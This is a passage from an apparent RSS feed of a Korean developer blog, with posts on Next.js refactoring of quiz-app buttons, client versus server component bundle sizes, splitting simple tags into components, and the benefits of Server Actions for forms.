<p>그래서 위 로직들은 따로 분리하고 <code>다음 문제</code> 버튼을 눌렀을 때에는 다른 동작없이 링크만 이동할 수 있도록 Link태그로 변경하였습니다.</p>
<p>다음과 같이요.</p>
<pre><code class="language-tsx">import useRandomUrl from &quot;@/app/(page)/quiz/[detailUrl]/_helper/useRandomUrl&quot;;
import PrimaryLink from &quot;@/app/_components/link/primaryLink&quot;;
import {useParams} from &quot;next/navigation&quot;;
import React from &#39;react&#39;;

// 채점 후 버튼(해설, 다음문제)
function AfterCheckButtons() {
    const {detailUrl} = useParams()
    const randomUrl =useRandomUrl()

    return (
        &lt;div className={&quot;flex justify-center items-center gap-2 w-full&quot;}&gt;
            &lt;PrimaryLink
                color={&quot;primarySecondary&quot;}
                href={`/quiz/${detailUrl}/explanation`}&gt;
                해설
            &lt;/PrimaryLink&gt;
             &lt;PrimaryLink href={`/quiz/${randomUrl}`}&gt;
                 다음 문제
             &lt;/PrimaryLink&gt;
        &lt;/div&gt;
    );
}

export default AfterCheckButtons;

...
import useQuizHelperContext from &quot;@/app/_context/useQuizContext&quot;;
import {useEffect, useState} from &#39;react&#39;;

// 안푼 문제 중 랜덤 URL 생성
function useRandomUrl() {
    const [randomUrl,setRandomUrl] = useState&lt;string&gt;(&quot;&quot;)
    const quizHelper = useQuizHelperContext()
    useEffect(() =&gt; {

            const url = quizHelper?.getRandomOneFromUnsolvedQuiz()
            if(url){
                setRandomUrl(url)

            }

    }, [quizHelper]);
    return randomUrl
}

export default useRandomUrl;

...
   // 안 푼 문제 중 랜덤으로 하나 반환
     getRandomOneFromUnsolvedQuiz() {
        const unsolvedQuiz = this.logicHandler.getUnsolvedQuiz();
        return ArrayUtils.pickRandomOne&lt;string&gt;(unsolvedQuiz);
    }</code></pre>
<h3 id="예시-2">예시 2</h3>
<p>다음으로 리팩토링을 진행할 부분입니다.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/ef1a809f-9365-4b79-9b51-1c262347c7cf/image.png" alt=""></p>
<p>퀴즈 완료 페이지의 버튼인데요.</p>
<p><code>다른 퀴즈 풀러가기</code> 버튼의 역할은 localStorge를 비워주고 quiz 시작하기 페이지로 이동시켜주는 역할을 합니다.</p>
<h4 id="before">Before</h4>
<p>이전에는 Button으로 구성하였습니다.</p>
<p>링크 이동뿐만 아니라 , localStorage를 비워주는 역할까지 하니깐요.</p>
<pre><code class="language-tsx">&quot;use client&quot;

import PrimaryButton from &quot;@/app/_components/button/primaryButton&quot;;
import PrimaryLink from &quot;@/app/_components/link/primaryLink&quot;;
import useQuizHelperContext from &quot;@/app/_context/useQuizContext&quot;;
import React from &#39;react&#39;;

// 퀴즈 완료 링크
function QuizCompletedLink() {

    const quizHelper = useQuizHelperContext()

    return (
        &lt;PrimaryLink href={&quot;/quiz&quot;}&gt;
            &lt;PrimaryButton
                text={&quot;다른 퀴즈 풀러가기&quot;}
                color={&quot;primary&quot;}
                onClick={() =&gt; quizHelper?.clearQuizStorage()  }
            /&gt;
        &lt;/PrimaryLink&gt;
    );
}

export default QuizCompletedLink;
</code></pre>
<h4 id="after">After</h4>
<p>하지만 스토리지를 비워주는 동작을 꼭 버튼을 누를 때 해야할까요?</p>
<p>위 페이지 진입시에 스토리지를 비워줘도 됩니다.</p>
<p>즉, 버튼에서 일괄적으로 두가지 동작을 해결하지 않아도 되죠.</p>
<ul>
<li>버튼은 링크만 하고</li>
<li>페이지 진입시에 스토리지를 비워주면 됩니다.</li>
</ul>
<p>다음과 같이요.</p>
<pre><code class="language-tsx">
import QuizCompletedDescription from &quot;@/app/(page)/quiz/completed/_components/quizCompletedDescription&quot;;
import QuizCompletedLink from &quot;@/app/(page)/quiz/completed/_components/quizCompletedLink&quot;;
import QuizCompletedManager from &quot;@/app/(page)/quiz/completed/_components/quizCompletedManager&quot;;
import QuizCompletedTitle from &quot;@/app/(page)/quiz/completed/_components/quizCompletedTitle&quot;;
import React from &#39;react&#39;;

export const dynamic = &#39;force-static&#39;

// 퀴즈 완료 페이지
function Page() {

    return (
        &lt;QuizCompletedManager&gt;
            &lt;QuizCompletedTitle
                title={&quot;퀴즈 완료&quot;}
            /&gt;
            &lt;QuizCompletedDescription
                description={&quot;축하드립니다. 모든 퀴즈를 다 푸셨습니다.&quot;}
            /&gt;
            &lt;QuizCompletedLink/&gt;
        &lt;/QuizCompletedManager&gt;
    );
}

export default Page;
...

&quot;use client&quot;

import useQuizHelperContext from &quot;@/app/_context/useQuizContext&quot;;
import React, {useEffect} from &#39;react&#39;;

// 퀴즈 완료 로직 관리
// 페이지 진입시 퀴즈 스토리지를 비움
function QuizCompletedManager({
    children
                              }:{
    children: React.ReactNode
}) {

    const quizHelper = useQuizHelperContext()


    useEffect(() =&gt; {
        quizHelper?.clearQuizStorage()
    }, [quizHelper]);

    return (
        &lt;&gt;
            {children}
        &lt;/&gt;
    );
}

export default QuizCompletedManager;
...


import PrimaryLink from &quot;@/app/_components/link/primaryLink&quot;;
import React from &#39;react&#39;;

// 퀴즈 완료 링크
function QuizCompletedLink() {
    return (
        &lt;PrimaryLink href={&quot;/quiz&quot;}&gt;
            다른 퀴즈 풀러가기
        &lt;/PrimaryLink&gt;
    );
}

export default QuizCompletedLink;
</code></pre>
<p>스토리지를 비우는 역할은 페이지를 감싸는 컴포넌트에서 해결해주고
기존 버튼을 Link로 변경하여 링크 이동의 역할만 부여해줍니다.</p>
<p>위와 같이 해줌으로써 각 컴포넌트가 단일 책임의 역할만 가지고 있을 뿐만 아니라
<code>QuizCompletedLink</code>를 서버 컴포넌트로 변경함으로써 자바스크립트 번들도 줄일 수 있었죠.</p>
<h3 id="동작이-실행될-위치를-의심할-것">동작이 실행될 위치를 의심할 것</h3>
<p>여러가지 동작을 일괄적으로 실행할 때, 버튼을 사용한다고 하였습니다.
하지만 이런 경우에 앞서,
<code>여러가지 동작이 꼭 해당 버튼을 눌렀을 때, 모두 실행되어야하나?</code>
<code>버튼 동작 이외 부분에서 실행되는 것이 적절하지 않은가?</code></p>
<p>위 부분을 생각해보도록 해주는 과정이었던 것 같습니다.</p>
<h2 id="정리">정리</h2>
<ul>
<li>a,button 태그 중첩하지 않을 것</li>
<li>a 태그 -&gt; 링크 이동 , button -&gt; 특정 동작 수행</li>
<li>button -&gt; 많은 동작들이 실행되어야할 때, 동작들이 꼭 버튼에서 실행되어야하나 의심</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[클라이언트 컴포넌트와 서버 컴포넌트로 선언했을 때의 번들 크기 비교]]></title>
            <link>https://velog.io/@kcj_dev96/%ED%8E%98%EC%9D%B4%EC%A7%80-%EC%BB%B4%ED%8F%AC%EB%84%8C%ED%8A%B8%EB%A5%BC-%ED%81%B4%EB%9D%BC%EC%9D%B4%EC%96%B8%ED%8A%B8-%EC%BB%B4%ED%8F%AC%EB%84%8C%ED%8A%B8%EC%99%80-%EC%84%9C%EB%B2%84-%EC%BB%B4%ED%8F%AC%EB%84%8C%ED%8A%B8%EB%A1%9C-%EC%84%A0%EC%96%B8%ED%96%88%EC%9D%84-%EB%95%8C%EC%9D%98-%EC%B0%A8%EC%9D%B4</link>
            <guid>https://velog.io/@kcj_dev96/%ED%8E%98%EC%9D%B4%EC%A7%80-%EC%BB%B4%ED%8F%AC%EB%84%8C%ED%8A%B8%EB%A5%BC-%ED%81%B4%EB%9D%BC%EC%9D%B4%EC%96%B8%ED%8A%B8-%EC%BB%B4%ED%8F%AC%EB%84%8C%ED%8A%B8%EC%99%80-%EC%84%9C%EB%B2%84-%EC%BB%B4%ED%8F%AC%EB%84%8C%ED%8A%B8%EB%A1%9C-%EC%84%A0%EC%96%B8%ED%96%88%EC%9D%84-%EB%95%8C%EC%9D%98-%EC%B0%A8%EC%9D%B4</guid>
            <pubDate>Thu, 12 Dec 2024 10:34:19 GMT</pubDate>
            <description><![CDATA[<p>페이지 컴포넌트를 클라이언트 컴포넌트와 서버 컴포넌트로 선언했을 때의 차이를 알아보려하는데요.</p>
<p>특정 페이지를 클라이언트 컴포넌트와 서버 컴포넌트로 선언했을 때, 클라이언트 자바스크립트 번들 크기가 얼마나 차이가 나는지 확인해보겠습니다.</p>
<blockquote>
<p>클라이언트 자바스크립트 번들 크기가 작으면 작을수록 그만큼 페이지 로드도 빨리 됩니다.</p>
</blockquote>
<h2 id="페이지-컴포넌트를-클라이언트-컴포넌트와-서버-컴포넌트로-선언했을-때-번들-크기-비교">페이지 컴포넌트를 클라이언트 컴포넌트와 서버 컴포넌트로 선언했을 때 번들 크기 비교</h2>
<p>우선 두 경우 서버에서 pre-rendering 되어 정적인 HTML이 만들어집니다.</p>
<p>서버 컴포넌트에 대한 부분은 그대로 브라우저에 전달해주고 필요한 작업이 없습니다.</p>
<p>클라이언트 컴포넌트는 인터렉션 관련 코드를 hydration 해주는 작업이 필요하여 이에 대한 자바스크립트 번들 코드가 필요합니다.</p>
<p>즉, 인터렉티브한 코드가 없을 경우에도 컴포넌트를 클라이언트 컴포넌트로 선언하면 <strong>hydration 과정이 필요하여 서버 컴포넌트로 선언한 경우 대비 자바스크립트 번들 크기가 증가</strong>할 수 있습니다.</p>
<p>그럼 간단한 코드로 페이지를 선언하고 두 가지 경우의 자바스크립트 번들 크기를 측정해보겠습니다.</p>
<h2 id="서버-컴포넌트로-선언한-경우">서버 컴포넌트로 선언한 경우</h2>
<p>아래는 페이지를 서버 컴포넌트를 선언한 경우입니다.</p>
<pre><code class="language-tsx">// app/test/page.tsx
import React from &#39;react&#39;;

function Page() {
    return (
        &lt;div&gt;
            &lt;h1&gt;Test Page&lt;/h1&gt;
            &lt;p&gt;JJalseu&lt;/p&gt;
        &lt;/div&gt;
    );
}

export default Page;
</code></pre>
<h2 id="클라이언트-컴포넌트로-선언한-경우">클라이언트 컴포넌트로 선언한 경우</h2>
<p>아래는 페이지를 클라이언트 컴포넌트를 선언한 경우입니다.</p>
<pre><code class="language-tsx">&quot;use client&quot;

import React from &#39;react&#39;;

function Page() {
    return (
        &lt;div&gt;
            &lt;h1&gt;Test Page&lt;/h1&gt;
            &lt;p&gt;JJalseu&lt;/p&gt;
        &lt;/div&gt;
    );
}

export default Page;
</code></pre>
<h2 id="자바스크립트-번들-크기-측정">자바스크립트 번들 크기 측정</h2>
<p>그렇다면 위에서 선언한 테스트 페이지에 대하여 서버 컴포넌트로 페이지 컴포넌트를 선언한 경우와 클라이언트 컴포넌트로 페이지 컴포넌트를 선언한 경우 번들 사이즈를 측정해보도록 하겠습니다.</p>
<h3 id="nextbundle-analyzer-측정-도구"><a href="https://nextjs.org/docs/app/building-your-application/optimizing/package-bundling">@next/bundle-analyzer-측정 도구</a></h3>
<p>문서에서 추천하는 <code>@next/bundle-analyzer</code>로 측정해보도록 하겠습니다.</p>
<h4 id="설치">설치</h4>
<pre><code>npm i @next/bundle-analyzer
# or
yarn add @next/bundle-analyzer
# or
pnpm add @next/bundle-analyzer</code></pre><p>위 명령어로 실행해주면 되구요.</p>
<h4 id="nextconfigmjs">next.config.mjs</h4>
<p><code>next.config.mjs</code> 파일을 아래와 같이 설정해줍니다.</p>
<pre><code class="language-js">/** @type {import(&#39;next&#39;).NextConfig} */
import withBundleAnalyzer from &#39;@next/bundle-analyzer&#39;;

const nextConfig = {};

const bundleAnalyzer = withBundleAnalyzer({
    enabled: process.env.ANALYZE === &#39;true&#39;,
});

export default bundleAnalyzer(nextConfig);
</code></pre>
<h4 id="build">build</h4>
<p>아래 명령어를 실행하면 빌드가 되면서 분석 툴이 브라우저 탭에 3개가 뜰겁니다.</p>
<pre><code>ANALYZE=true npm run build
# or
ANALYZE=true yarn build
# or
ANALYZE=true pnpm build</code></pre><p><img src="https://velog.velcdn.com/images/kcj_dev96/post/1a08d6ac-1cfc-4763-b8fb-8c7fecbaf975/image.png" alt=""></p>
<p>클라이언트 번들 크기를 보기 위해서는 3개의 탭 중에서 <code>client.html</code>를 보면 됩니다.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/335902aa-d67d-4e75-940a-a529d5f63fc2/image.png" alt=""></p>
<p>이 중에서 testPage에 대한 번들 크기를 보면 되는데요.</p>
<h3 id="페이지를-클라이언트-컴포넌트로-사용했을-때의-번들크기">페이지를 클라이언트 컴포넌트로 사용했을 때의 번들크기</h3>
<p>우선 testPage를 클라이언트 컴포넌트로 사용했을 때의 번들크기입니다.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/fa03c449-a2ad-426b-8a09-c44df646951e/image.png" alt=""></p>
<p>400B로 확인됩니다.</p>
<h3 id="페이지를-클라이언트-컴포넌트로-사용했을-때의-번들크기-1">페이지를 클라이언트 컴포넌트로 사용했을 때의 번들크기</h3>
<p>다음으로 testPage를 서버 컴포넌트로 사용했을 때의 번들크기입니다.
<img src="https://velog.velcdn.com/images/kcj_dev96/post/d9b26068-8066-49d8-bdcd-979e12082baa/image.png" alt=""></p>
<p>167B로 확인됩니다.</p>
<p>확실히 서버 컴포넌트로 사용하였을 때, 번들크기가 줄어드는 것으로 확인할 수 있었습니다.</p>
<h2 id="정리">정리</h2>
<p><strong>인터렉션이 없는 컴포넌트는 서버 컴포넌트로 사용하여 자바스크립트 번들 크기를 줄이자!</strong></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[리팩토링-
간단한 단일 태그 UI, 태그로만 관리해도 괜찮을까?]]></title>
            <link>https://velog.io/@kcj_dev96/%EB%A6%AC%ED%8C%A9%ED%86%A0%EB%A7%811-%EA%B0%84%EB%8B%A8%ED%95%9C-%EB%8B%A8%EC%9D%BC-%ED%83%9C%EA%B7%B8-UI-%ED%83%9C%EA%B7%B8%EB%A1%9C%EB%A7%8C-%EA%B4%80%EB%A6%AC%ED%95%B4%EB%8F%84-%EA%B4%9C%EC%B0%AE%EC%9D%84%EA%B9%8C</link>
            <guid>https://velog.io/@kcj_dev96/%EB%A6%AC%ED%8C%A9%ED%86%A0%EB%A7%811-%EA%B0%84%EB%8B%A8%ED%95%9C-%EB%8B%A8%EC%9D%BC-%ED%83%9C%EA%B7%B8-UI-%ED%83%9C%EA%B7%B8%EB%A1%9C%EB%A7%8C-%EA%B4%80%EB%A6%AC%ED%95%B4%EB%8F%84-%EA%B4%9C%EC%B0%AE%EC%9D%84%EA%B9%8C</guid>
            <pubDate>Mon, 09 Dec 2024 10:02:56 GMT</pubDate>
            <description><![CDATA[<p>프로젝트 기능 개발이 끝나 리팩토링을 진행해보려합니다.</p>
<p>처음에는 무엇부터 시작을 해야하나.. 막막했지만 코드를 한참 들여다보니 할 수 있는 부분들이 보입니다.</p>
<p>리팩토링을 하기에 앞서, 목적이 먼저 있어야할텐데요.</p>
<p>저는 최적화와 가독성 및 유지보수에 두었습니다.</p>
<ul>
<li>최적화</li>
<li>가독성 및 유지보수</li>
</ul>
<p>제 코드들을 위 기준에 맞춰 리팩토링하는 과정을 이 시리즈에 담아보려합니다.</p>
<p>우선, 이 글에서는 <code>가독성과 유지보수</code>에 초점을 맞춰보려합니다.</p>
<h2 id="간단한-단일-태그-ui-태그로만-관리해도-괜찮을까">간단한 단일 태그 UI, 태그로만 관리해도 괜찮을까?</h2>
<p>코드를 바라보다가, 아래와 같은 생각이 들었어요.</p>
<blockquote>
<p><code>간단하게 이루어진, 하나의 태그로 있는 UI를 컴포넌트로 관리하지 않고 그냥 태그로 둬도 괜찮을까?</code></p>
</blockquote>
<p>코드와 화면을 구경해보시죠.</p>
<pre><code class="language-tsx">&quot;use client&quot;

// 퀴즈 상세 컴포넌트
const QuizDetails = ({
                         quizData
                     }:{quizData:QuizItem}) =&gt; {

....

    return (
        &lt;&gt;
            {/*퀴즈 제목*/}
            &lt;h1 className={&quot;lg:text-title1 md:text-title2Bold sm:text-title2Bold&quot;}&gt;{quizData.metaTitle}&lt;/h1&gt;
            {/*퀴즈 질문*/}
            &lt;p
                className={&quot;text-menu&quot;}
            &gt;{quizData.title}&lt;/p&gt;

            {/*퀴즈 내용*/}
            &lt;div
                className={&quot;prose w-full&quot;}
                dangerouslySetInnerHTML={{__html: quizData.content}}
            &gt;&lt;/div&gt;

   ....

        &lt;/&gt;
    );
};

export default QuizDetails;
</code></pre>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/a9daf95e-a534-4888-ba52-07c00f22053b/image.png" alt=""></p>
<p>일부분의 코드는 생략했어요. 제가 말하고 싶은 부분에 대한 코드만 적어봤습니다.</p>
<p><code>QuizDetails</code> 컴포넌트는 ...으로 생략한 부분까지 100줄 가량의 코드들이 있는 퀴즈 상세 UI 컴포넌트입니다. </p>
<p>위 코드를 확인해보면 <code>h1</code> 태그가 나타내는 UI는 <code>퀴즈 제목</code>, <code>p</code>태그가 나타내는 UI는 퀴즈 질문,.<code>div</code> 태그에 <code>dangerouslySetInnerHTML</code>을 통해 퀴즈 내용을 나타내고 있습니다.</p>
<ul>
<li>h1 -&gt; 퀴즈 제목</li>
<li>p -&gt; 퀴즈 질문</li>
<li>div -&gt; 퀴즈 내용</li>
</ul>
<p>물론 주석도 잘 달아놨죠.</p>
<p>초기에 개발할 때, <code>UI가 복잡하지 않으니 단일 태그로로 충분할거야</code>라는 생각에 위처럼 UI를 작성하였어요.</p>
<p><code>하지만 이대로 충분한가?</code>라는 의문이 들었어요.</p>
<p>의문의 이유는 다음과 같았어요.</p>
<ul>
<li><p>주석을 달았을지언정, 해당 UI를 보았을 때 어떤 UI인지 단번에 파악하는 것이 더 좋지 않을까?</p>
</li>
<li><p>tailwind className으로 인해 코드가 길어져서 가독성이 좋지 않다.</p>
</li>
<li><p>추후에 퀴즈 제목,질문,내용에 대한 className을 수정하거나 태그를 수정할 때, QuizDetails 컴포넌트를 건드려야한다.</p>
</li>
<li><p>QuizDetails 컴포넌트는 많은 역할들을 하고 있다.</p>
</li>
</ul>
<p>주로 <strong>가독성</strong>관점에서 이유를 바라본 것 같습니다.</p>
<p>QuizDetails 컴포넌트 100줄 가량 된다고 했었죠. 코드를 오랫동안 보다보면 알겠지만, 코드를 파악하는 것이 누적되면 꽤나 피곤합니다.</p>
<p>때문에 보자마자 바로 파악가능하게 하는 것이 개발 피로 누적을 방지할 수 있는 생각이 들었어요.</p>
<p>만약 위 단일 태그로 감싸진 UI들을 컴포넌트로 만들면</p>
<ul>
<li><p>컴포넌트명으로 어떤 역할을 하는지 단번에 파악할 수 있다고 생각했고</p>
</li>
<li><p>className은 굳이 눈으로 볼 필요가 없습니다.</p>
</li>
<li><p>위 UI들을 수정할 때, QuizDetails 컴포넌트도 건드릴 필요가 없죠.</p>
</li>
<li><p>또한 SOLID 원칙의 단일 책임 원칙을 완전히 지키진 못하겠지만 QuizDetails 컴포넌트의 역할을 줄일 수 있게 해주죠.</p>
</li>
</ul>
<p>그래서 위와 같은 이유로 간단한 태그로 감싸진 UI지만 컴포넌트로 분리하려고 합니다.</p>
<h2 id="데이터를-props로-전달할까-children으로-전달할까">데이터를 props로 전달할까? children으로 전달할까?</h2>
<p>그렇다면 위 UI들에 대해서 컴포넌트를 만들면 컴포넌트로 데이터를 전달해야할텐데요.</p>
<p>이를 props로 전달할지, children으로 전달할지 고민이 되었어요.</p>
<ul>
<li>props로 전달?</li>
</ul>
<p><strong>변경후 코드</strong></p>
<pre><code class="language-tsx">import React from &#39;react&#39;;

// 퀴즈 제목
function QuizTitle({title}:{title:string}) {
    return (
        &lt;h1 className={&quot;lg:text-title1 md:text-title2Bold sm:text-title2Bold&quot;}&gt;{title}&lt;/h1&gt;
    );
}

export default QuizTitle;
</code></pre>
<ul>
<li>children으로 전달?<pre><code>&lt;QuizTitle&gt;{quizData.metaTitle}&lt;/QuizTitle&gt;</code></pre></li>
</ul>
<p>props와 children을 사용했을 때, 어떤 장단점들이 있는지 생각해볼게요.</p>
<h3 id="props를-사용하는-경우"><strong>props를 사용하는 경우</strong></h3>
<p><strong>장점</strong></p>
<ul>
<li>어떤 데이터를 전달해야 하는지 props 타입으로 <strong>명확하게 정의</strong>할 수 있습니다.</li>
<li><strong>호출하는 쪽에서 작성해야 할 코드</strong>가 짧아집니다.</li>
<li>대부분 <strong>한 줄로 표현되는 데이터</strong>는 props로 전달하기 적합합니다.</li>
</ul>
<p><strong>단점</strong></p>
<ul>
<li>만약 <strong>복잡한 구조</strong>나 HTML을 포함해야 한다면 제한이 있을 수 있어 <strong>유연성이 떨어질 수 있습니다.</strong></li>
</ul>
<h3 id="children을-사용하는-경우">children을 사용하는 경우</h3>
<p><strong>장점</strong></p>
<ul>
<li>children은 더 자유롭고 <strong>유연하게 데이터를 전달</strong>할 수 있습니다.텍스트뿐만 아니라, <strong>HTML 태그나 컴포넌트를 포함한 복잡한 구조를 전달</strong>할 수 있습니다.</li>
<li><strong>중첩 구조를 쉽게 표현 가능</strong>: 텍스트 외에도 태그들을 중첩해야하는 경우에도 표현가능합니다.</li>
</ul>
<p><strong>단점</strong></p>
<ul>
<li><strong>호출부의 코드가 길어질 수 있음</strong>: 데이터를 컴포넌트 내부에 작성해야 하므로 다소 지저분해질 수 있습니다.</li>
<li><strong>단순 데이터에는 과할 수 있음</strong>: 제목이나 질문처럼 단순한 문자열을 처리할 때는 불필요한 코드 복잡성을 초래할 수 있습니다.</li>
</ul>
<h3 id="그래서-어떤-방식-사용">그래서 어떤 방식 사용?</h3>
<p>정리해본 장단점의 따라, 위 경우에는 <strong>단순한 데이터를 보여주는 것이기 때문에 props 방식을 사용</strong>해보려합니다.</p>
<p>추후를 생각해봐도 위 UI들을 중첩되지는 않을 것 같다는 판단이 들기도 하여서 props로 사용해도 괜찮다고 생각했습니다.</p>
<pre><code class="language-tsx">import React from &#39;react&#39;;

// 퀴즈 제목
function QuizTitle({title}:{title:string}) {
    return (
        &lt;h1 className={&quot;lg:text-title1 md:text-title2Bold sm:text-title2Bold&quot;}&gt;{title}&lt;/h1&gt;
    );
}

export default QuizTitle;
...
&lt;QuizTitle
  title ={quizData.metaTitle}
  /&gt;
</code></pre>
<h3 id="변경전-코드변경후-코드">변경전 코드,변경후 코드</h3>
<p>그래서 변경된 코드는 다음과 같아요.</p>
<p><strong>변경전 코드</strong></p>
<pre><code class="language-tsx">&quot;use client&quot;

// 퀴즈 상세 컴포넌트
const QuizDetails = ({
                         quizData
                     }:{quizData:QuizItem}) =&gt; {

....

    return (
        &lt;&gt;
            {/*퀴즈 제목*/}
            &lt;h1 className={&quot;lg:text-title1 md:text-title2Bold sm:text-title2Bold&quot;}&gt;{quizData.metaTitle}&lt;/h1&gt;
            {/*퀴즈 질문*/}
            &lt;p
                className={&quot;text-menu&quot;}
            &gt;{quizData.title}&lt;/p&gt;

            {/*퀴즈 내용*/}
            &lt;div
                className={&quot;prose w-full&quot;}
                dangerouslySetInnerHTML={{__html: quizData.content}}
            &gt;&lt;/div&gt;

   ....

        &lt;/&gt;
    );
};

export default QuizDetails;
</code></pre>
<p><strong>변경후 코드</strong></p>
<pre><code class="language-tsx">&quot;use client&quot;

// 퀴즈 상세 컴포넌트
const QuizDetails = ({
                         quizData
                     }:{quizData:QuizItem}) =&gt; {

....

    return (
        &lt;&gt;
          {/*퀴즈 제목*/}
            &lt;QuizTitle
                title={quizData.metaTitle}
            /&gt;
            {/*퀴즈 문제*/}
           &lt;QuizQuestion
               question={quizData.title}
           /&gt;

            {/*퀴즈 내용*/}
            &lt;QuizContent
                content={quizData.content}
            /&gt;

   ....

        &lt;/&gt;
    );
};

export default QuizDetails;
</code></pre>
<p>변경하니 제가 보기에는 훨씬 깔끔하고 가독성도 더 좋아졌네요. 주석은 있어야하지만 없어도 파악가능할 것 같아요.</p>
<p>위와 같이 처음 리팩토링해본 부분은 </p>
<ul>
<li>가독성 및 유지보수 </li>
</ul>
<p>측면에서 리팩토링을 해보았어요.</p>
<ul>
<li><p>가독성측면에서는 className을 볼 필요없도록 하고 컴포넌트명을 적절히 지어 단번에 파악가능하게 하고</p>
</li>
<li><p>유지보수측면에서는 추후 위 UI들을 수정할 때 관련 컴포넌트만 수정하면 된다는 관점에서 유지보수성이 늘었다고 생각할 수 있습니다.</p>
</li>
</ul>
<p>이렇게 첫번째 리팩토링을 간단한 내용과 작업으로 마무리해봅니다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Server Action 왜 사용할까?]]></title>
            <link>https://velog.io/@kcj_dev96/Server-Action</link>
            <guid>https://velog.io/@kcj_dev96/Server-Action</guid>
            <pubDate>Fri, 06 Dec 2024 09:48:06 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/18fa7da6-4f52-4fa9-bcef-ba4047c8823c/image.png" alt=""></p>
<p>프로젝트를 진행하다보면 클라이언트에서 백엔드 API로 data mutation(HTTP POST,PATCH,PUT,DELETE)를 할 일이 발생합니다.</p>
<p>하지만 nextjs에서는 위 방법으로써 Server Action 기능을 제안하고 있는데요.</p>
<p><code>Server Action을 굳이 왜 써야하나</code>라는 의문이 들었습니다. Server Action은 서버를 통해서 API 서버를 통신하는 것인데, <code>굳이 왜 불필요하게 웹 서버를 통해서 통신해야하나</code>라는 의문이 든거죠</p>
<p>nextjs로 풀스택으로 구현하지 않는다면 ,백엔드 API가 있을텐데요.</p>
<p>nextjs에서는 data mutation의 두가지 방법이 있습니다.</p>
<p>a. 클라이언트 통신시
클라이언트 → 백엔드 API → 응답</p>
<p>b. server action 사용시
 클라이언트 → Next.js 서버(Server Action) → 백엔드 API → Next.js 서버 → 응답</p>
<p>제가 들었던 의문은 다음과 같습니다.</p>
<blockquote>
<p>a는 바로 백엔드 API로 통신하면 되지만 b는 <strong>클라이언트에서 next 서버로 통신하고 next서버에서 백엔드 API 통신</strong>, 응답도 반대 과정을 거칠텐데 오히려 <strong>통신단계가 하나 더 추가되는 것인데 이는 더 복잡하고 안 좋은 것이 아닐까?</strong></p>
</blockquote>
<p>그래서 통신 단계 증가에 따름을 감수하고도 server action을 사용하면서 얻을 수 있는 장점이 뭔지 파악해보려고 합니다.</p>
<h2 id="javascript-로드-없이-form-실행-progressive-enhancement">Javascript 로드 없이 form 실행-(<a href="https://nextjs.org/docs/app/building-your-application/data-fetching/server-actions-and-mutations#behavior">progressive enhancement</a></h2>
<blockquote>
<p>Server actions can be invoked using the action attribute in a <code>&lt;form&gt;</code> element:</p>
</blockquote>
<ul>
<li>Server Components support progressive enhancement by default, meaning the form will be submitted even if JavaScript hasn&#39;t loaded yet or is disabled.</li>
</ul>
<p>문서에서는 Server action을 form action에서 사용할 때의 장점을 설명해주는데요.</p>
<p>이 문장은 Server Components가 Progressive Enhancement(점진적 향상) 원칙을 지원한다는 뜻으로, <strong>클라이언트 측의 JavaScript가 로드되지 않았거나 비활성화된 경우에도 서버와 상호작용이 가능하다는 장점</strong>을 설명합니다. </p>
<p>그렇다면 어떻게 JavaScript가 로드되지 않았는데에도 서버와 상호작용이 가능할까요?</p>
<p>이는 HTML form 태그에 대해 알아보면 되는데요.</p>
<blockquote>
<p>HTML <code>&lt;form&gt;</code> 요소는 브라우저에서 기본적으로 지원하는 기능입니다. <strong>action 속성을 통해 폼 데이터를 서버로 전송하며, JavaScript 없이도 서버 요청이 가능</strong>합니다.</p>
</blockquote>
<pre><code class="language-tsx">export default function Page() {
  async function createInvoice(formData: FormData) {
    &#39;use server&#39;

    const rawFormData = {
      customerId: formData.get(&#39;customerId&#39;),
      amount: formData.get(&#39;amount&#39;),
      status: formData.get(&#39;status&#39;),
    }

    // mutate data
    // revalidate cache
  }

  return &lt;form action={createInvoice}&gt;...&lt;/form&gt;
}</code></pre>
<p>따라서 Next.js에서 Server Action을 폼에 연결하면, 브라우저의 기본 폼 제출 동작을 활용하여 데이터를 서버로 보냅니다.</p>
<p>만약 클라이언트에서 <strong>JavaScript가 로드되지 않았거나 비활성화된 경우,Server Action을 통해 데이터를 처리하고, 응답을 반환</strong>할 수 있습니다.</p>
<p>server action을 사용하는 경우와 사용하지 않는 경우를 예시로 살펴볼게요</p>
<h4 id="server-action을-사용하지-않는-경우">server action을 사용하지 않는 경우</h4>
<pre><code class="language-tsx">// server action을 사용하지 않는 경우
&#39;use client&#39;;

export default function FormWithEnhancements() {
  const handleSubmit = async (e: React.FormEvent&lt;HTMLFormElement&gt;) =&gt; {
    e.preventDefault();
    const formData = new FormData(e.currentTarget);
    const response = await fetch(&quot;/api/submit&quot;, {
      method: &quot;POST&quot;,
      body: formData,
    });
    console.log(await response.json());
  };

  return (
    &lt;form onSubmit={handleSubmit}&gt;
      &lt;label htmlFor=&quot;name&quot;&gt;Name:&lt;/label&gt;
      &lt;input id=&quot;name&quot; name=&quot;name&quot; type=&quot;text&quot; /&gt;
      &lt;button type=&quot;submit&quot;&gt;Submit&lt;/button&gt;
    &lt;/form&gt;
  );
}
</code></pre>
<p>이 방식은 브라우저에서 JavaScript가 반드시 활성화되어야 동작합니다. JavaScript가 비활성화된 경우, 폼 제출 자체가 동작하지 않습니다.</p>
<h4 id="server-action을-사용하는-경우">server action을 사용하는 경우</h4>
<pre><code class="language-tsx">// server action을 사용하는 경우
export default function Page() {
  async function handleFormSubmit(formData: FormData) {
    &quot;use server&quot;;
    const name = formData.get(&quot;name&quot;);
    console.log(`Name submitted: ${name}`);
  }

  return (
    &lt;form action={handleFormSubmit}&gt;
      &lt;label htmlFor=&quot;name&quot;&gt;Name:&lt;/label&gt;
      &lt;input id=&quot;name&quot; name=&quot;name&quot; type=&quot;text&quot; /&gt;
      &lt;button type=&quot;submit&quot;&gt;Submit&lt;/button&gt;
    &lt;/form&gt;
  );
}</code></pre>
<p>위와 같이 <code>handleFormSubmit</code> server action 함수가 있습니다.
Javascript가 로드되지 않았더라도 form의 action을 통해 form 제출이 가능합니다.</p>
